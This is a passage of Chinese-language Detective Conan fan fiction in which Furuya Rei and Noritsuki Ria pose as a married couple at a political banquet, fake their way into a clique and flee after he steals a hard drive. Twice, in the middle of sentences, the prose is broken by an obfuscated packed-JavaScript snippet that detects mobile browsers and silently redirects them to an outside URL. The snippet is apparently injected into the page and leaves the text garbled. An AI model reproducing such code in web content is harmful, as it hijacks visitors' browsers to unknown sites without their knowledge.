降谷零不由得愣了愣。 24.危险筵席 警卫愣了一下,看向莉亚,试图进行沟通:“请问您说什么?啊不……Yes! Hello?” 她撩了撩头发,继续大串大串地讲让人不明所以的内容。 见警卫的表情定格在茫然上,莉亚的口气也逐渐变得有些不快,甚至开始出现了幅度颇大的肢体语言,恼火地冲他摊手摇头。 对方终于放弃了追问,惊恐地问降谷零:“您太太说了什么?” “所以我让你跟我沟通啊。”降谷零轻松地搂过莉亚的肩,“我太太是归国子女,本人不会说日语的。那么到底是什么信息出了问题?” 金发的那个是日本人,但黑发的反而是外国人吗?好奇怪的一家。警卫立场显然开始动摇了,瞟了瞟莉亚:“但是按照规定……” 一看到那个年轻女士渐渐扬起眉,开口又要说他听不懂的话,他立刻说:“好吧是姓名没有对上,和本来登记的名字完全不一样,所以才来确认……” 原来是数据迭代出了问题吗?看来并不是当事人到场后发觉并告发了。降谷零放下心来,“你也看到了,归国子女用的全名和正常日本人不太一样,这个很正常吧,而且我们也是新婚,预约信息可能是那之前提交的,所以才造成了差别。” 他漫不经心地吐出那个邀请函真正主人的名字,“是这个没错吧?那是她母亲的姓氏啦。” 警卫反复确认之后终于相信了她的身份,连连鞠躬道歉,走之前好像还在低声嘀咕“sorry”什么的。 降谷零把手插进口袋,目送着危险因素走远了,才问莉亚:“所以我才说自己行动比较好啊,随时都会出现情况。但戏接得不错——你说的是什么,意大利语?西班牙语?还是随便编的?” “葡语。我发现观众很怕和讲外语的嘉宾说话,感觉这或许是日本人特性?刚刚就试了一下——没想到效果不错。”她捋了捋头发,向他面前伸出手掌,“不要小看女主播的演技啊,我的好几个前辈都下场去演电视剧了,我觉得搞不好我也可以。” 降谷零没有理会这个动作的含义,偏了偏头。 “庆祝胜利的击掌啊,真是没有默契。” “做我们这种工作不可以把情绪轻易流露出来,秘密连家人朋友也不能告诉,所以也最好不要事事庆祝。” 好吧,死板的规定,但听起来并不是没有道理。她无聊地耸了耸肩,要把手放下,却被降谷零反手捉住,拉到了腰线下方。他借着身体和酒台的掩映,轻轻地拍了拍她的手。 “不过既然是珍贵的第一次取胜,那就庆祝一下吧。” 莉亚没有回答。于是两个人同时陷入了沉默中,气氛好像也突然尴尬了起来。 降谷零不自在地清了清喉咙,“说起来你高中也是在学习院吗?原来外语科目会包括葡语,还挺少见的。” “啊,其实不是在学校学的啦……个人兴趣。”她含糊地滑了过去。 ……她好像不太愿意回答这个问题? 莉亚没有给他思考的时间,“所以接下来要怎么做呢?应该不是像平时那样普通喝喝酒就可以吧。” 降谷零把一闪而过的疑惑放到了一边,犀利而隐蔽地观察了一圈会场里的宾客,这才低声说:“人员其实有一些变动,但不是很多。结合我之前拿到的信息,核心成员应该在二十个以内。我这次的计划是在公开活动里争取接近他们,最好的情况是能被被吸纳到后续的活动里。如果不行的话……我只能强行潜入,把能拿到手的信息都先拷贝走,实在不行伪造一些资料交上去吧。” 听起来真的很像中学生“作业做到哪里算哪里,还是做不完就乱写一些答案填满了交上去”。这就是卧底的真实工作状态吗? 她识趣地没有质疑专业人员,只是建议:“那么不如就从杉下首相家切入?” “我也是这么想的,同年龄段之间比较容易说得上话。我也是听说了一些新任首相的事迹,可能会引起他们的兴趣,这样才有了这个任务。你也是这么觉得的吗?” 他突然对先前过分不看好她的能力而产生了一点愧疚:也许对于公安的训练和自己的情报信息还是太自傲了,把人太过随意地排除出了可以信任的范围。 但法月莉亚摇了摇头:“不是,我只是看到他过来了,感觉会比较方便。” 好,他愧疚早了。 降谷零面无表情地转过身,看到那扇雕花门大开,从中走进来一个大约三十岁的青年男子,身上的西装一看就比他买不起的那套还要昂贵,打着一条和女伴和服花纹相同的米色领带。 经莉亚提醒,仔细一看,他的眉眼果然和杉下总理有些相似。降谷零回忆了一下他事先背诵的人员资料,最终确认了他的身份。 杉下信……看起来只是一个普通的政治家二代,本人也刚刚走上从政的道路,有可能是这个小团体的核心吗?贝尔摩德指定的信息能是什么呢?他甚至还没有正式开始选举活动。 “好像没有更好的切入点了,我没看到有其他几个目标对象出现。” 他还在高速对比着各个方案的执行可能和结果,但莉亚已经掏出手包里的小镜子,开始整理碎发了。 “你要干什么?”他警惕起来。 “不就是搭话嘛,这有什么难的?交给我。” 她左右照照,最后确认了一番妆容是否完美无缺,就把化妆镜扔回手包里,富有气势地出发了。镜子和手机在狭小的包里碰撞,发出啪的一声响,仿佛是女武神出征前的嘹亮号角。 他有一种不祥的预感,但是没有任何理由拦住莉亚,只好快步跟了上去。 女武神走到杉下信附近时,明显放慢了脚步,双手以精巧的姿势交叠,又成了那个在法月家缓步趋行的鹭娘。 杉下信注意到了来人,停下脚步。她立刻捉住了这个时机,微微鞠躬致意:“是兄长吧?初次见面,真是冒昧打扰了……阿义今天有来吗?” 她的脸上挂着真挚的微笑,甚至还有一丝显而易见的娇羞。 降谷零惊奇地发现,悲戚绝望的鹭娘原来可以变成春情泛滥的藤娘。 总理家的长公子也注意到了这微妙的措辞,扬起眉,“弟弟今天有预定好的活动,所以没法出席呢。请问您是?” 年轻女士的美丽笑脸马上垮了下去。她露出一副难掩的失望,“这样啊,那真是太遗憾了。麻烦您帮忙传达一声问候吧。鄙姓星野,是他的……现在只能算朋友了。我想或许他跟您提过我?” 她隐隐露出一丝期待,“抱歉,有点冒昧了。但曾经计划过要去府上拜访,也经常听他介绍过您的事情,想着或许……” 杉下信和女伴的表情一起变得微妙起来。 这怎么听都完全不是弟弟的普通朋友吧?开口会叫“兄长”已经很不对了。 那位穿和服的女士有些慌乱地先开了口:“啊,这个,好像是以前听阿义提起过。但他总不回家,我们也疏忽了,真是太失礼了。” 法月莉亚的笑容变得更加浅淡,眼神里充满了悠长的遗憾,“是我没有这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087921|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的机会……算了,还是拜托您二位不要和他提起见过我了。” 说着,她侧着脸看向降谷零。 女主播的身体保持着一个柔美的弧度,恰到好处地露出雪白纤细的后颈,可以说是真正的淑女典范。 但这位淑女借着角度遮挡,在杉下夫妇看不见的地方拼命地朝他们的方向转动眼珠,向几步外的降谷零努力示意,几乎要让眼珠从眼眶里飞出来了。 被她突如其来加的戏震撼到的金发公安尴尬地清了清喉咙,顶着几人意味深长的眼神迎了上来:“亲爱的,这是你的朋友吗?不介绍一下?” 她演上瘾了,加了个仓皇掩饰但未果的表情,“这是杉下信先生和百合子女士,是阿义……啊,我是说杉下君的兄嫂。这是我丈夫,我们和阿义都是以前的同学。” 杉下夫妇明显交换了一个表情,看起来自动帮莉亚的剧本补全了一段可歌可泣的三角爱恋。男方被妻子轻轻捅了捅,连忙伸手和降谷握了握:“你好,我是杉下。” 金发青年好像完全没有留意到刚才的尴尬气氛,热情地回敬:“真是巧啊,能有机会在这里遇见您!既然是阿义的兄长,那干脆请您赏光,一起喝一杯吧?” 年轻的政治家果然点了点头,“我还有几个朋友在那边等,干脆一起吧。” 降谷零的假笑终于变得真切了一点。 他在客套的间隙,用余光看到法月莉亚悄悄在裙摆的缝隙里比了个耶的手势。 ……那家伙脸上甚至仍然挂着一片化不开的余哀。 他故意落后杉下一行人两步,咬牙切齿地开始核对信息:“你这是加的什么戏?” “嘛,这不是配合上了吗?”她勾了勾嘴角,轻快地回答,“反正告诉你一个窍门,跟人相亲的话不要提太多前女友的事情,相亲一定会失败,而且还会被人盗用身份信息。” 任务有了实质进度,降谷零也稍微放松下来神经,有余裕来不客气地回嘴:“对违法行为很骄傲啊。而且我为什么要掌握相亲的技巧,我又不需要去这种地方……” 她顿了顿,忍不住投去复杂的眼神。 相亲宴迟到半个小时的男人有资格这么说吗? “对,对。接下来的部分就交给你了——我真的不是很会套话。” 即便是作为法月小姐出席,那些男人也会客套之后主动把她排除在重要事项的讨论范围内,更别提她随便演了个对杉下二公子念念不忘的前女友,纯粹是硬凑上去的。 好在金发公安非常长袖善舞。他顶着众人“到底是他插足了杉下还是被杉下骗走了老婆”的八卦目光,在饮酒间掌握了主动权,侃侃而谈,成功地把焦点转移到了他那个虚假的融资项目上。 她没有背过这些材料,好在只要会温柔地笑笑不语,说一句“家里的产业都是外子打理,我也不太懂呢”就能周全了。 “喔喔,这么看来夫妻感情很好嘛!”一个已经微醺的男人指着他们大笑起来,“果然还是新婚夫妻,才会这么亲昵地牵着手。如果是中年夫妻,早就甩开了吧!” 无论是虚假微笑的女人,还是谈笑风生间蓄意打探消息的公安,同时愣了一下。 为了表示夫妻身份,他们确实一直刻意拉着手,但普通情侣难道不是这样的吗? 他们同时看向这一群人里的另一对夫妇:杉下信果然和妻子落座后就没有什么明显的肢体接触,甚至稍微保持了一点距离,正在温和地对他们露出调侃的笑意。 ……糟糕,演太过了吗? 25.危险筵席 法月莉亚首先意识到不妙。 那个灵机一动拗出来的“前女友”身份或许和此刻过度伪装的恩爱夫妇矛盾,从而引起怀疑。 她用了用力,想把手抽回来。但降谷零仍旧用力握着她,导致莉亚的些许挣扎完全白费,手指仍旧纹丝不动地停在他的手心里。 这家伙到底有没有意识到问题啊? 她悄悄抬眼去瞪降谷零,他仿佛完全没有留意到这点微妙,仍然自在地进行交谈,试图把话题引回他对于稻荷会的热切兴趣上。 但挑起八卦的人完全没有放过他们的想法,继续调笑:“喂,安室!这个时候就不要说这些东西了,不觉得扫兴吗!刚刚的饮酒游戏你输了吧?那么作为惩罚,就和美人太太亲一个吧!” 握着她的手忽然用了用力,几乎把她捏疼了。 降谷零的笑容变得有些不那么自在,“哈哈,这样我恐怕有点失礼吧?还是照旧多喝一杯好了。” 他把“失礼”两个字咬得很重,暗示这个失礼的人是谁实际上还有待商榷,又伸手从桌上拿起一只新的酒杯,对着那位过于热切的先生举了举杯。 莉亚在心里叹了一口气。 降谷零或许还对着这些上流社会人士的体面程度有些不切实际的期望,觉得他们不会做什么出格的事,因此也能轻松地靠着话术来拒绝掉过分的要求,但…… “那可不行啊!” “这个主意好!快点,安室,这就算你的入会测试了!” ……果然。 她甚至听到有人吹起了口哨。 降谷零下意识地看向了她,下垂眼此时瞪得圆溜溜的。他大约从未想到这群每天都在产经新闻里出现、出手可以买下银座半条街的人物,喝得兴起之后也会有如此恶俗的趣味。 她看到犹豫不决在他的眼睛里闪了闪,渐渐定格在一种果断的神色。接着,降谷零抿了抿嘴唇,缓缓倾身朝她靠过来。 法月莉亚一动不动,决定配合他的计划。 而且也许这样才比较像一个柔顺而拥有丰富感情经历的年轻妻子? 降谷零凑过来的速度很慢,但摆出了一副不容拒绝的自然姿态,倒确实很像和妻子熟稔亲热的丈夫。降谷零的额前碎发散落下来,落在她的鼻梁上,让人痒痒的。她几乎感受到了温热的吐息从脸颊上划过。 紫灰色的眼睛里现在只有她的倒影了。 莉亚还在想怎么反应更贴近自己的人设,但一通检索下来,脑子里空无一物,只留下了一个奇怪的念头: 他好像也有点紧张,甚至都忘了把手里的酒杯放回桌上。 降谷零的鼻尖蹭上她的那一刻,有人吹起了口哨。 他仿佛被惊醒了似的,露出怔忡犹豫的神情,忽然松开一直紧握她的手,要往后挪动身体,看起来想结束这个似是而非的、表演给他人看的荒唐亲吻。 ……尽管它甚至还没有开始。 她突然仰起头,主动凑了上去。 他们离得太近了,这样细微的动作足够抹平所有的距离,让莉亚的嘴唇贴上降谷零,完成了这个被人要求的亲吻。 他一瞬间身体僵硬得像一块烧火用的木头,只有被她碰到的地方还是柔软的。 唔,原来这么锐利刚硬的家伙,亲起来也是软的。 莉亚往后拉开距离,镇定自若地从他手里取走了酒杯,一饮而尽,将杯底向周围亮了亮:“或许这样可以了吗?” 口哨声不再是一道,变得更嘹亮了,还有人跟着鼓起了掌。 所以这样应该可以把他引荐给那个神秘的会长了吧?她果然很擅长这一套。 莉亚重新露出标准的温婉微笑,侧目看向降谷零,把场面交还给他。 不知道为什么,他看着呆呆的有些出神,耳根还糟糕地渐渐烧了起来,越来越红,大概完全没有在意她的暗示。 莉亚借着长裙裙摆的掩饰,毫不客气地踹了降谷零的小腿一下。他仿佛无事发生一样,丝滑地把手搭在她的肩膀上,对着看热闹的宾客们露出了个志得意满的炫耀笑容:“嘛,失礼了。” 于是这个虚假的新贵终于被这个小团体初步接纳了。他装模作样地和其中几位交换了号码,约定了以后去喝酒深谈合作的时间,之后顺势把话题引向了自己真正感兴趣的方向:“……是不是还要通过什么其他的考核?或者要会长先生同意才好?真是稍微有点担心啊。” 杉下总理家的公子大概终于相信这对夫妇不会和弟弟闹出不好的绯闻了,态度变得亲切自然了很多,主动替他圆场:“桥本先生其实并不难说话,只是比较忙,所以才很少有时间来吸纳新人。我们替你介绍,应该不会有什么问题。” “那样最好了。我看他今天好像也没来,还以为没有机会了呢。”他微笑着点了点头,忽然一脸惊讶地伸手去按口袋,“啊,抱歉,我这边有个电话,可能代表要是谈上市的事情吧?总之,先失陪一会儿。” 路过莉亚的时候,降谷零顿住脚步,用指节扣了扣手机屏幕。 这是他们约定好的暗号:已经确认了目标对象的具体身份,但是没有办法直接接近对方,降谷零就要离场去单独行动探查情报。她没有配合这样行动的技能,只好选择留下来替他周全善后。 也许是觉得有些冷落她,杉下夫人还特意搭话问:“您和阿义是怎么认识的?是大学的同级生吗?” ……她其实根本不记得这位只见过一面的杉下先生到底是哪个大学毕业的了,更不太清楚到底是哪一年的学生,只能含糊其辞:“嗯嗯,我是文学部的啦。” 没想到对面热情地追问了下去:“真的吗?你刚毕业吧?田中教授现在还好吗?” 法月莉亚从来没有因为敷衍相亲对象而这么尴尬过:她说的到底是哪个田中呢?全日本姓田中的教授没有几千个也有上百个,谁知道他们到底好不好? “我不太熟悉呢,我的毕业指导是一位新来的老师,姓松本。”她在常见的姓氏里随便挑了一个,当作细节反抛回去,“您认识这位吗?” 杉下夫人显得有点困惑:“这样啊,他不是学部长了吗?我记得好像没有听说过离任的消息……健康出了问题吗?之后还是问候一下好了。” 莉亚感觉背后有冷汗缓缓地流下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125245|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故事可能也不是那么好编……她有点怀念降谷零可以在一边镇定自若地用奇怪情报帮她把漏洞补上的时候了。 在她绞尽脑汁地想办法把潜在的风险消灭在温床里时,手包传来了一阵震动。莉亚如蒙大赦,赶紧告罪:“我先接个电话,也许是我丈夫又迷路了。” 她退到不会有人搭话的角落里,才掏出手机:来电人居然真的是降谷零。 莉亚松了一口气:“太好了,我……” “听我说,但不要出声。听懂了就敲一下,拒绝就敲两下手机。” 话筒里的声音很急促,带着明显的喘息声。 他是跑步吗? 莉亚来不及细想,只是用力扣了扣手机背板。 “我拿到了硬盘,但是也被人看到了。他们很快就会意识到我们是一起的。找个理由赶紧离开会场,不要停,从消防楼梯上到六层的露台。如果被人拦住了,就把你的真实身份说出来,他们不会对你怎么样的。” 惊慌的心突然安稳了一点。他已经想到了各种的可能,那听从指挥就好了。 她把披肩取下来,搭在沙发扶手上,起身慢慢往宴会厅的大门走去,同时不忘和熟人打招呼:“……是的呀,太热了,我去补个妆。你们换位置的话要记得带上我的东西呀。” 她指了指那条婚纱裙摆改成的刺绣披肩,仿佛真的一定会回来取一样。 离开了众人的视线,她大迈步伐,几乎跑了起来。高跟鞋敲击在没有被地毯覆盖的大理石地面上,发出响亮的脚步声,但被心脏咚咚跳个没完的巨大噪音淹没了。 这个备用方案规定了路线和脱身方法,但是不是还少了点什么? 公安委员长的女儿被捉住也不会有问题,那他呢?偷取情报的秘密犯罪组织成员、调查封闭精英小团体却被捉了个现行的公安,怎么看都是各方势力都想抹消的存在。 莉亚干脆弯腰伸手用力一拽,把高跟鞋扯掉,赤脚跑在楼梯上,朝答案狂奔过去。 等到肺里最后一丝空气都被用掉,在胸膛里迸发着热辣辣的疼痛时,莉亚终于跑到了六层。这里果然有个露台,空无一人,只有夜风吹得她快速地起了鸡皮疙瘩。 降谷零难道藏在这里吗? 莉亚环抱住赤裸在寒风里的肩膀,试探着走到门边,把头伸出去张望。 然而还没等她看清露台上的景象,身后有人忽然揪住她的腰带,用力向后拽了一把。 “啊——” “别出声!” 短促的尖叫被她硬生生吞了下去。 急促的气流卡在喉咙里,反而能让那颗狂跳的心渐渐平静下来,真奇怪。 把她从露台边拉走的金发男人粗暴地拽着她,直到把莉亚塞进了一间有铁门的房间,把门仔细锁好,又拖过两把椅子抵在门前,这才出了一口气,转过身来和她说话:“抱歉,发生了一点状况,所以必须……” 但莉亚有自己的关注点。 那件被她亲自选出来的外套出现了一块奇怪的深色污渍。 她感觉自己的声音开始发抖:“……你受伤了?”